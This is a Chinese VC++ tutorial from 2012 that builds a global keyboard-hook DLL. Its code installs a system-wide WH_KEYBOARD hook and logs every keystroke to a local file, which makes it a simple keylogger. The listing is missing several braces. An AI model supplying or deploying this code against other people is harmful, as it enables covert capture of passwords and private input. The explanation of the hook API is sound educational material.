VC++实现监视系统的键盘操作 创建记录键盘动作的全局钩子DLL

来源:岁月联盟 编辑:exp 时间:2012-10-25

全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC++6.0中有三种形式的MFC DLL可供选择,即
Regular DLL with MFC statically linked(标准静态链接MFC DLL)
Regular DLL using shared MFC DLL(标准动态链接MFC DLL)
MFC Extension DLL(using shared MFC DLL)(扩展MFC DLL)。

我使用的是标准静态连接MFC DLL。
将DLL中的函数导出,有两种方法:
1.在函数声明时使用_declspec(dllexport)
2.在模块定义文件(.def)中进行说明

第二种示例如下:
LIBRARY      "KeyHookDll"
DESCRIPTION  'KeyHookDll Windows Dynamic Link Library'

EXPORTS
    ; Explicit exports can go here
    LoadHook
LoadHook就是定义的导出函数。
我们使用第一种。
创建记录键盘动作的全局钩子DLL
1.新建MFC AppWizard(dll),工程名为KeyHook.
2.在KeyHookDll.h文件中添加以下代码:
#define DllExport _declspec(dllexport)
//声明导出函数
DllExport void WINAPI LoadHook();
3.在KeyHookDll.cpp中添加以下代码:

[cpp]
HHOOK Hook; 
LRESULT CALLBACK HookKeyBoard(int nCode,WPARAM wParam,LPARAM lParam); 
void KeyLog(char *c); 
 
DllExport void WINAPI LoadHook() 

[cpp] 
    //WH_KEYBOARD:安装一个挂钩处理过程对击键消息进行监控 
    Hook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookKeyBoard,theApp.m_hInstance,0); 

 
LRESULT CALLBACK HookKeyBoard(int nCode,WPARAM wParam,LPARAM lParam) 

    LRESULT Result = CallNextHookEx(Hook,nCode,wParam,lParam); 
    if(nCode == HC_ACTION) 
    { 
        if(lParam & 0x80000000) 
        { 
            char c[1]; 
            c[0] = wParam; 
            KeyLog(c); 
        } 
    } 
    return Result; 

 
void KeyLog(char *c) 

    CFile file; 
    if(!file.Open("key.log",CFile::modeReadWrite)) 
    { 
        file.Open("key.log",CFile::modeCreate | CFile::modeReadWrite); 
    } 
    file.SeekToEnd(); 
    file.Write(c,1); 
    file.Close(); 

当nCode = HC_ACTION时,参数wParam和lParam包含一个击键消息的信息
wParam:产生此击键消息的虚拟键代码
lParam:记录了按键的重复次数、扫描码、转移代码、先前键的状态等信息。此参数可以是以下值的组合值:
0-15位:记录用户摁键引发的重复次数。
16-23位:扫描码,依赖于键盘生产厂家。
24位:指示此键是否为扩展键,如功能键或数字小键盘上的键,当该键为扩展键时,其值为1.
25-28位:保留
29位:上下文代码,若Alt键被摁下,则其值为1
30位:指示此前的键状态,若在此消息被发送之前该键是被摁下的,其值为1
31位:指示变化状态,若此键正在被摁下,则其值为0

挂钩处理过程被置于不同的具有一定挂钩类型的挂钩链中,函数CallNextHookEx调用该链中的下一个挂钩。对函数CallNextHookEx调用是可选的,但极力推荐使用。否则,其他安装了挂钩的应用程序将无法收到挂钩通知,由此可能产生错误的行为。除非你确实需要使其他程序不能获得此挂钩通知。